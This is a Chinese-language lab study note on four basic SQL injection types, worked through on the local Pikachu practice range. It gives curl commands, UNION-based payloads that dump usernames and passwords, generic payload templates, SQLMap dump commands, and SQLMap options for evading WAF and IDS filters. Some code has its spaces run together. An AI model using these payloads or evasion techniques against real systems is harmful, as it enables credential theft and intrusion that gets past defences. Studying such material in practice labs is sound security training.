SQL注入 · 4种基础注入类型对比笔记
本文基于 Pikachu 靶场,详细对比了数字型、字符型、搜索型和 XX型四种基础 SQL 注入类型的原理、Payload 构造、实战步骤与踩坑记录,并提供了通用 Payload 模板和 SQLMap 自动化速查,适合 Web 安全初学者快速上手。> 实战环境:Pikachu 靶场(本地http://localhost/pikachu/)
数据库:MariaDB 11.8.6
一、总体流程(通用步骤)
确认注入点 → 判断注入类型 → 猜字段数 → 找回显位 → 查数据库名 → 查表名 → 查列名 → 查数据| 步骤 | 目的 | 常用方法 |
|---|---|---|
| 1. 确认注入 | 证明用户输入被拼接到SQL中 | 单引号'/ 逻辑真AND 1=1/ 逻辑假AND 1=2 |
| 2. 猜字段数 | UNION SELECT要求前后字段数相同 | ORDER BY n逐个测试 |
| 3. 找回显位 | 确定哪个位置能显示自定义数据 | UNION SELECT 1,2,3 |
| 4. 查数据库名 | 获取当前数据库名称 | database() |
| 5. 查表名 | 获取数据库中的所有表 | information_schema.tables |
| 6. 查列名 | 获取目标表的所有列 | information_schema.columns |
| 7. 查数据 | 获取用户名和密码 | SELECT username,password FROM users |
二、4种注入类型对比
2.1 数字型注入(POST)
| 项目 | 说明 |
|---|---|
| 入口 | http://localhost/pikachu/vul/sqli/sqli_id.php |
| 请求方式 | POST(参数在请求体中) |
| 后端SQL | SELECT * FROM users WHERE id = 1; |
| 参数特征 | 纯数字,无引号包裹 |
| 字段数 | 2 |
确认注入
确认注入
# 正常请求,验证基础功能curl-s-XPOST"http://.../sqli_id.php"-d"id=1&submit=查询"# 添加单引号,触发SQL语法错误以确认注入点curl-s-XPOST"http://.../sqli_id.php"-d"id=1'&submit=查询"# 逻辑真测试,页面应正常显示数据curl-s-XPOST"http://.../sqli_id.php"-d"id=1 and 1=1&submit=查询"# 逻辑假测试,页面应无数据返回curl-s-XPOST"http://.../sqli_id.php"-d"id=1 and 1=2&submit=查询"```#### 猜字段数```bash# 测试字段数是否为1curl-s-XPOST"http://.../sqli_id.php"-d"id=1 ORDER BY 1&submit=查询"# 正常# 测试字段数是否为2curl-s-XPOST"http://.../sqli_id.php"-d"id=1 ORDER BY 2&submit=查询"# 正常# 测试字段数是否为3,报错则确认字段数为2curl-s-XPOST"http://.../sqli_id.php"-d"id=1 ORDER BY 3&submit=查询"# 报错 → 字段数=2找回显位 + 查数据
# 确定回显位置(第1、2位)curl-s-XPOST"http://.../sqli_id.php"-d"id=-1 UNION SELECT 1,2&submit=查询"# 获取当前数据库名(显示在回显位)curl-s-XPOST"http://.../sqli_id.php"-d"id=-1 UNION SELECT database(),2&submit=查询"# 查询所有表名(MariaDB 11.x可能限制information_schema手动查询)curl-s-XPOST"http://.../sqli_id.php"\-d"id=-1 UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()&submit=查询"# 查询users表的列名curl-s-XPOST"http://.../sqli_id.php"\-d"id=-1 UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_name='users'&submit=查询"# 直接获取users表的所有用户名和密码curl-s-XPOST"http://.../sqli_id.php"\-d"id=-1 UNION SELECT group_concat(username),group_concat(password) FROM users&submit=查询"```#### 踩坑记录- **MariaDB11.x 限制**:`information_schema`手动查询无返回,需用 SQLMap 自动化工具 - **SQLMap 解决方案**:```bash sqlmap-u"http://.../sqli_id.php"--data="id=1&submit=查询"-Dpikachu-Tusers--dump--batch2.2 字符型注入(GET)
| 项目 | 说明 |
|---|---|
| 入口 | http://localhost/pikachu/vul/sqli/sqli_str.php |
| 请求方式 | GET(参数在URL中) |
| 后端SQL | SELECT * FROM users WHERE name = 'kobe'; |
| 参数特征 | 被单引号' '包裹 |
| 字段数 | 2 |
核心区别:需要闭合引号 + 注释
| 操作 | Payload | 拼接后的SQL |
|---|---|---|
| 确认注入 | kobe' | WHERE name = 'kobe''→ 报错 |
| 恢复正常 | kobe'--+ | WHERE name = 'kobe'--+'→ 注释掉后面的引号 |
| 逻辑真 | kobe' AND 1=1--+ | WHERE name = 'kobe' AND 1=1--+' |
| 逻辑假 | kobe' AND 1=2--+ | WHERE name = 'kobe' AND 1=2--+' |
完整URL示例
# 确认注入:添加单引号触发SQL错误http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe'&submit=查询 # 闭合引号并注释:恢复正常查询 http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe'--+&submit=查询# 猜字段数:测试ORDER BY 2http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe' ORDER BY 2--+&submit=查询 # 正常 # 猜字段数:测试ORDER BY 3 http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe'ORDER BY3--+&submit=查询# 报错# 找回显位:使用UNION SELECT确定显示位置http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe' UNION SELECT 1,2--+&submit=查询 # 查数据库名:获取当前数据库名称 http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe'UNION SELECT database(),2--+&submit=查询# 查表名:获取数据库中的所有表http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe' \ UNION SELECT group_concat(table_name),2 \ FROM information_schema.tables \ WHERE table_schema=database()--+&submit=查询 # 查数据(一步到位):直接获取用户名和密码 http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe'\UNION SELECT group_concat(username),group_concat(password)\FROM users--+&submit=查询踩坑记录
- 必须加
&submit=查询:后端 PHP 检查$_GET['submit']是否存在 -kobe让原查询为空:确保 UNION 结果不被原数据干扰
2.3 搜索型注入
| 项目 | 说明 |
|---|---|
| 入口 | http://localhost/pikachu/vul/sqli/sqli_search.php |
| 请求方式 | GET |
| 后端SQL | SELECT * FROM users WHERE name LIKE '%kobe%'; |
| 参数特征 | 被%和单引号'% %'包裹(LIKE模糊查询) |
| 字段数 | 3 |
| submit值 | 搜索(不是查询) |
核心区别:需要闭合'%
| 操作 | Payload | 拼接后的SQL |
|---|---|---|
| 确认注入 | kobe%' | WHERE name LIKE '%kobe%''→ 报错 |
| 恢复正常 | kobe%'--+ | WHERE name LIKE '%kobe%'--+'→ 注释掉后面的%' |
| UNION查询 | %' UNION SELECT 1,2,3--+ | WHERE name LIKE '%%' UNION SELECT 1,2,3--+%' |
完整URL示例
# 确认注入:闭合'%并注释http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'--+&submit=搜索 # 猜字段数:测试ORDER BY 3 http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'ORDER BY3--+&submit=搜索# 正常# 猜字段数:测试ORDER BY 4http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%' ORDER BY 4--+&submit=搜索 # 报错 → 字段数=3 # 找回显位(3个回显位) http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'UNION SELECT1,2,3--+&submit=搜索# 查数据库名http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%' UNION SELECT database(),2,3--+&submit=搜索 # 查数据(一步到位) http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'\UNION SELECT group_concat(username),group_concat(password),3\FROM users--+&submit=搜索踩坑记录
- submit 值是
搜索,不是查询 - 字段数是 3,不是 2
- 回显位:username(第1位)、uid(第2位)、email(第3位)
2.4 XX型注入
| 项目 | 说明 |
|---|---|
| 入口 | http://localhost/pikachu/vul/sqli/sqli_x.php |
| 请求方式 | GET |
| 后端SQL | SELECT * FROM users WHERE name = ('kobe'); |
| 参数特征 | 被单引号+括号('')包裹 |
| 字段数 | 2 |
核心区别:需要闭合('
| 操作 | Payload | 拼接后的SQL |
|---|---|---|
| 确认注入 | kobe') | WHERE name = ('kobe')'→ 报错 |
| 恢复正常 | kobe')--+ | WHERE name = ('kobe')--+'→ 注释掉后面的') |
| UNION查询 | kobe') UNION SELECT 1,2--+ | WHERE name = ('kobe') UNION SELECT 1,2--') |
完整URL示例
# 确认注入http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe')--+&submit=查询 # 猜字段数 http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe')ORDER BY2--+&submit=查询# 正常http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe') ORDER BY 3--+&submit=查询 # 报错 → 字段数=2 # 查数据(一步到位) http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe')UNION SELECT group_concat(username),group_concat(password)FROM users--+&submit=查询三、4种类型核心对比表
| 对比项 | 数字型 | 字符型 | 搜索型 | XX型 |
|---|---|---|---|---|
| 请求方式 | POST | GET | GET | GET |
| 后端SQL | WHERE id = 1 | WHERE name = 'kobe' | WHERE name LIKE '%kobe%' | WHERE name = ('kobe') |
| 闭合方式 | 无需闭合 | '闭合引号 | %'闭合% | ')闭合(' |
| 注释符 | 不需要 | --+ | --+ | --+ |
| 字段数 | 2 | 2 | 3 | 2 |
| submit值 | 查询 | 查询 | 搜索 | 查询 |
| Payload前缀 | id=-1 | name=-kobe' | name=kobe%' | name=kobe') |
| information_schema | 受限(MariaDB 11.x) | 正常 | 正常 | 正常 |
四、通用Payload模板
4.1 确认注入
' -- 触发报错 '--+ -- 闭合+注释,恢复正常' AND 1=1--+ -- 逻辑真 'AND1=2--+ -- 逻辑假4.2 猜字段数
' ORDER BY 1--+ -- 正常则继续 'ORDERBY2--+ -- 正常则继续'ORDERBY3--+ -- 报错则字段数=24.3 找回显位
-1' UNION SELECT 1,2--+ -- 2个字段 -1'UNIONSELECT1,2,3--+ -- 3个字段4.4 查数据库名
-1'UNIONSELECTdatabase(),2--+4.5 查表名
-1'UNIONSELECTgroup_concat(table_name),2FROMinformation_schema.tablesWHEREtable_schema=database()--+4.6 查列名
-1' UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_name='users'--+4.7 查数据(一步到位)
-1'UNIONSELECTgroup_concat(username),group_concat(password)FROMusers--+五、踩坑记录汇总
| # | 踩坑点 | 解决方案 |
|---|---|---|
| 1 | MariaDB 11.xinformation_schema手动查询无返回 | 使用 SQLMap 自动化工具 |
| 2 | 忘记加&submit=查询 | 确认表单按钮的值,必须带上 |
| 3 | 搜索型submit值是搜索不是查询 | 查看页面按钮文字 |
| 4 | 字符型用a测试 ORDER BY,但a不在数据库中 | 用确定存在的用户名(如kobe) |
| 5 | --+注释不生效 | 尝试#(URL编码%23)或--(注意空格) |
| 6 | UNION 结果和原查询混在一起 | 用-1或不存在的数据让原查询为空 |
| 7 | group_concat结果太长被截断 | 用LIMIT n,1分段查询 |
六、SQLMap 自动化速查
安装
sudoaptinstallsqlmap-y基础命令
# 检测注入点sqlmap-u"http://.../sqli_str.php?name=kobe"--batch# 获取数据库名sqlmap-u"http://.../sqli_str.php?name=kobe"--dbs--batch# 获取表名sqlmap-u"http://.../sqli_str.php?name=kobe"-Dpikachu--tables--batch# 获取列名sqlmap-u"http://.../sqli_str.php?name=kobe"-Dpikachu-Tusers--columns--batch# 获取数据sqlmap-u"http://.../sqli_str.php?name=kobe"-Dpikachu-Tusers--dump--batchPOST 型注入
sqlmap-u"http://.../sqli_id.php"--data="id=1&submit=查询"--batch绕过 WAF/IDS
当目标网站部署了 Web 应用防火墙(WAF)或入侵检测系统(IDS)时,SQLMap 的默认请求可能被拦截。以下是一些常用绕过参数:
1.--tamper:使用脚本绕过过滤
说明:通过内置或自定义的 tamper 脚本对 Payload 进行编码、混淆,绕过常见过滤规则。
使用场景:目标对单引号、空格、UNION 等关键词进行了过滤或替换。
示例命令:
# 使用多个 tamper 脚本组合绕过sqlmap-u"http://.../sqli_str.php?name=kobe"--tamper=space2comment,charencode--batch# 常用 tamper 脚本:# - space2comment:将空格替换为 /**/# - charencode:对 Payload 进行 URL 编码# - between:用 BETWEEN 替换大于号# - randomcase:随机大小写2.--random-agent:随机 User-Agent
说明:每次请求使用随机的 User-Agent 头,避免被基于固定 UA 的规则拦截。
使用场景:WAF/IDS 通过识别 sqlmap 默认 UA 进行拦截。
示例命令:
sqlmap-u"http://.../sqli_str.php?name=kobe"--random-agent--batch3.--delay和--time-sec:控制请求频率
说明:
--delay:设置每个 HTTP 请求之间的延迟(秒),避免触发频率限制。--time-sec:设置 DBMS 响应的延迟时间(秒),用于时间盲注。
使用场景:目标有请求频率限制或需要时间盲注绕过。
示例命令:
# 设置 2 秒延迟,避免触发 WAF 频率限制sqlmap-u"http://.../sqli_str.php?name=kobe"--delay=2--batch# 时间盲注,设置响应延迟判断为 5 秒sqlmap-u"http://.../sqli_str.php?name=kobe"--time-sec=5--batch4.--level和--risk:调整检测强度
说明:
--level:检测等级(1-5),等级越高测试的 Payload 和参数越多。--risk:风险等级(1-3),等级越高使用越危险的测试语句。
使用场景:默认检测不到注入点时,提高检测强度;或需要测试危险语句时提高风险等级。
示例命令:
# 提高检测等级和风险等级sqlmap-u"http://.../sqli_str.php?name=kobe"--level=3--risk=2--batch# 针对 Cookie 注入点,需要 level>=2 才会检测sqlmap-u"http://.../sqli_str.php"--cookie="id=1"--level=2--batch组合使用示例
# 综合使用多个绕过参数sqlmap-u"http://.../sqli_str.php?name=kobe"\--tamper=space2comment,charencode\--random-agent\--delay=1\--level=3\--risk=2\--batch实战环境:Kali Linux 2026.2 + Pikachu 靶场 + MariaDB 11.8.6